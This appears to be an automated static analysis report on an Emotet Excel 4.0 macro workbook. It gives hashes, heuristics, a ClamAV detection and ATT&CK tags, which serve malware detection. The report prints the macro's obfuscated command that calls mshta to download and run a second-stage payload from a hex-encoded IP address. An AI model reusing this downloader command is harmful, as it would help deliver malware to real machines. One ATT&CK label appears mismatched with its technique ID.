Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 ec6598c3ce18e5a2…

MALICIOUS

Office (OLE) / .XLSX

129.4 KB Created: 2022-01-17 21:27:03 Authoring application: Microsoft Excel
MD5: c275e084ad7fc324f843cc9958b59259 SHA-1: 972fddf8e50e895318d754fdeb27d642a8a41a66 SHA-256: ec6598c3ce18e5a26c6455730f05ad506f69950eb70e28f35b212b60cf071f6c
140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Service Execution: Service Control T1204.002 Malicious File: Malicious File

The sample contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical indicator. The macro code reconstructs the string "cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c^c.h^tm^l" and executes it. This command is designed to download and execute a second-stage payload from the specified URL, consistent with Emotet's typical downloader behavior. The ClamAV signature further supports the Emotet family attribution.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • ClamAV: Doc.Downloader.EmotetExcel01220-9936774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetExcel01220-9936774-0
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
a0fd1b709c0182b7bfad87bd5382ad41592e9af0d0093f5e68d1ff145f18d235
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 653 bytes